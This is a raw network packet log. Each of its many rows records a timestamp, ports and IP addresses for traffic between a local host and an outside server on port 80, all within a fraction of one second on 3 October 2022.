Oct 3, 2022 17:35:24.128926992 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.129249096 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.129265070 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.129295111 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.129313946 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.129321098 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.129348993 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.129353046 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.129376888 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.129401922 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.129415989 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.129426956 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.129441977 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.129451990 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.129471064 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.129482985 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.129494905 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.129511118 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.129534960 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.129535913 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.129550934 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.129580021 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.131158113 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.131191015 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.131213903 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.131237984 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.131241083 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.131254911 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.131263971 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.131266117 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.131278038 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.131304026 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.132894993 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.132926941 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.132952929 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.132961988 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.132978916 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.132980108 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.132994890 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.133004904 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.133011103 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.133032084 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.133043051 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.133055925 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.133069038 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.133081913 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.133093119 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.133105993 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.133120060 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.133131027 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.133141994 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.133157969 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.133167982 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.133181095 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.133193970 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.133207083 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.133218050 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.133233070 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.133243084 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.133258104 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.133270979 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.133284092 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.133296013 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.133308887 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.133325100 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.133335114 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.133347988 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.133362055 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.133377075 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.133388042 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.133399010 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.133414984 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.133424997 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.133440018 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.133455038 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.133465052 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.133476973 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.133490086 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.133501053 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.133516073 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.133527994 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.133542061 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.133553982 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.133567095 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.133579969 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.133591890 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.133608103 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.133618116 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.133627892 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.133644104 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.133656025 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.133670092 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.133680105 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.133693933 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.133708954 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.133721113 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.133732080 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.133747101 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.133758068 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.133773088 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.133784056 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.133797884 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.133809090 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.133821964 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.133835077 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.133848906 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.133860111 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.133873940 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.133887053 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.133896112 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.133910894 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.133919001 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.133934021 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.133943081 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.133956909 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.133969069 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.133990049 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.133995056 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.134015083 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.134021044 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.134028912 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.134044886 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.134057999 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.134069920 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.134080887 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.134095907 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.134108067 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.134123087 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.134135008 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.134149075 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.134160042 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.134174109 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.134186029 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.134200096 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.134210110 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.134226084 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.134237051 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.134253025 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.134263992 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.134278059 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.134289980 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.134304047 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.134315014 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.134330034 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.134341002 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.134355068 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.134366989 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.134383917 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.134392977 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.134408951 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.134423018 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.134433985 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.134445906 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.134459019 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.134471893 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.134485006 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.134496927 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.134510994 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.134525061 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.134536028 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.134547949 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.134561062 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.134574890 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.134588003 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.134598970 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.134613037 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.134622097 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.134639978 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.134651899 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.134665012 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.134677887 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.134691000 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.134702921 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.134716988 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.134727955 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.134743929 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.134753942 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.134769917 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.134780884 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.134794950 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.134809017 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.134819984 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.134834051 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.134845972 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.134856939 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.134871960 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.134888887 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.134916067 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.134928942 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.134942055 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.134959936 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.134968042 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.134987116 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.134994030 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.135009050 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.135020018 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.135032892 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.135044098 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.135057926 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.135071039 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.135082960 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.135096073 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.135108948 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.135122061 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.135135889 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.135148048 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.135159016 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.135171890 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.135185957 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.135198116 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.135210037 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.135224104 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.135236025 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.135250092 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.135263920 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.135273933 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.135286093 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.135298967 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.135312080 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.135324955 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.135339022 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.135350943 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.135363102 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.135380983 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.135389090 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.135406017 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.135417938 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.135431051 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.135442972 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.135457993 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.135468960 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.135482073 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.135494947 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.135509968 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.135519028 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.135535002 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.135546923 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.135559082 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.135572910 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.135585070 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.135596991 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.135610104 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.135622978 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.135637999 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.135648966 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.135662079 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.135673046 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.135685921 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.135698080 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.135711908 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.135725021 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.135735989 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.135749102 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.135762930 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.135773897 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.135787964 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.135812044 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.135818005 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.135826111 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.135838032 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.135849953 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.135862112 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.135874033 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.135889053 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.135902882 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.135914087 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.135922909 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.135936975 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.135950089 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.135963917 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.135978937 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.135989904 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.136003971 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.136019945 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.136029959 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.136045933 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.136056900 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.136070967 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.136082888 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.136095047 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.136107922 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.136120081 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.136132002 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.136146069 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.136161089 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.136173964 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.136183023 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.136198997 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.136212111 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.136223078 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.136234999 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.136248112 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.136259079 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.136271954 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.136286020 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.136298895 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.136311054 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.136323929 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.136337996 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.136348963 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.136360884 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.136375904 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.136385918 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.136399984 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.136413097 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.136425972 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.136435986 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.136451960 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.136465073 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.136476994 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.136488914 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.136503935 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.136516094 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.136527061 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.136538982 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.136559963 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.136573076 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.136584044 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.136596918 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.136606932 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.136622906 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.136630058 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.136643887 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.136653900 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.136667967 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.136677980 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.136693954 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.136701107 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.136723995 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.136730909 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.136739969 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.136748075 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.136766911 CEST	49703	80	192.168.2.7	193.38.55.180
